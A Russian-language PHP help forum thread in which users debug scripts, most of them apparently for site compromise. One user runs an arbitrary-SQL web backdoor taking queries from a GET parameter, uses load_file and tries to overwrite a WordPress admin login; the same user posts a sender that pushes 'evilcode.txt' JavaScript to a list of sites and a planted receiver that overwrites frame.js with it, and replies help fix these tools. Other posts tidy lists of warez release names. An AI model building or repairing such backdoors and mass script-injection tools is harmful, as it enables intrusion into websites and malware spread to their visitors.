PHP: <? $quote = file("http://blog/templates/blue_warez/quotes.txt"); srand((double)microtime()*1000000); echo $quote[rand(0,count($quote))]; ?> проблема именно в том что скрипт не хочет работать, а почему я не пойму, может он для DLE не подходит?! ссылка действительно существует..
Вопросец такой, есть код: PHP: $query = $_GET['zapros']; $res = mysql_query($query); echo '<PRE>'; while($result = mysql_fetch_assoc($res)) { print_r($result); } Базы, таблицы, колонки нормально выводятся, но когда пытаюсь обновить какие-то данные в бд или заюзать load_file - выдаёт Похоже что это выдаёт всегда когда в запросе присутствуют кавычки. Подскажите как решить проблему.
SergioBlog никогда не подставлять необработанные данные в запрос. А вообще - у вас включена директива magic_quote_gpc. Обрабатывайте $_GET['zapros'] с помощью функции http://php.net/stripslashes
Да, действительно проблема связана с magic_quote_gpc. После прогона через stripslashes все стало на свои места Спасибо!) UPD! Снова такая же ошибка при попытке апдейта какого-нибудь поля) C load_file всё ок.
SergioBlog если быть точными, то выводите ошибку, позволяющую хоть что-то понять. PHP: $query = stripslashes($_GET['zapros']); $res = mysql_query($query); if (!$res) {echo 'Mysql error: '.mysql_error(); die();} echo '<PRE>'; while($result = mysql_fetch_assoc($res)) { print_r($result); }
при запросе update cialis.wptest_users set user_login="adm" where ID=1 выдаёт Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /var/www/script.php юзер - рут, права есть. Есть ещё вопрос по скриптам, есть 2 скрипта: PHP: <? $jscode = file_get_contents('evilcode.txt'); $data = "writejs=" . "$jscode"; $links = file("links.txt"); for($i=0;$i<count($links);$i++) { if( $curl = curl_init() ) { curl_setopt($curl, CURLOPT_URL, $links[$i]); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $out = curl_exec($curl); echo $out; echo('ok sended!'); curl_close($curl); } else { echo ('not sended!'); } } ?> PHP: <? $param = $_POST['writejs']; if (isset($param)) { $open = fopen('/var/www/frame.js', 'a'); ftruncate($open, 0); $writefunc = fwrite($open, $param); fclose($open); echo("ok<br>"); } else { echo("recieve error"); } ?> Первый отправляет нужный мне жс код на второй с помощь пост запроса. Так вот в итоге в файл frame.js записывается js код в виде: <script> alert(\'preved\') </script> хотя отправляется без слешей. Подскажите как убрать слеши, пробовал с urlencode() - всё равно со слешами пишет.
Подскажите пожалуйста по редактированию строк. Есть файлы, в них строки вида Code: Camtasia Producer v3.0.0 Camtasia Studio 2.0.0 SN Camtasia Studio 7.0 Camtasia Studio 7.0.0 Hair.Master.v4.3547158.Full.rar Camtasia Studio v2.0.0 Camtasia Studio v2.03 Мне надо удалять с них ненужные слова, для чего я использую функцию: Code: function edit_text($a) { $i = stripos($a,"keygen"); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,"by "); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,"by."); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,".zip"); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,"serial"); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,"patch"); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,"build"); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,".rar"); if ($i == true) $a = substr($a,0,$i); $i = stripos($a,"by-"); if ($i == true) $a = substr($a,0,$i); return $a; } Код такой: Code: $unedit_data = file("a.txt"); foreach ($unedit_data as &$a) { $a = edit_text($a); file_put_contents("edited".$val.".txt",$a,FILE_APPEND); } Или такой: Code: $unedit_data = file("a.txt"); foreach ($unedit_data as &$a) { $a = edit_text($a); $edited_data[]=$a; } file_put_contents("edited.txt",$edited_data,FILE_APPEND); В общем, как не делай, но если в строке был искомый символ, то следующая за ней строка "склеивается" с этой. (вида Hair.Master.v4.3547158.Full.Camtasia Studio v2.0.0 Почему это может быть и как это убрать (т.е. чтобы функция просто редактировала строку, а не склеивала ее со следующей. Если принудительно добавлять символ переноса строки, тогда он добавляется ко всем строкам, и выходит ерунда.
PHP: $unedit_data = file("a.txt"); foreach ($unedit_data as &$a) { $a = edit_text($a); file_put_contents("edited".$val.".txt",$a.PHP_EOL,FILE_APPEND); } или PHP: $unedit_data = file("a.txt"); foreach ($unedit_data as &$a) { $a = edit_text($a); $edited_data[]=$a; } file_put_contents("edited.txt",implode(PHP_EOL,$edited_data),FILE_APPEND);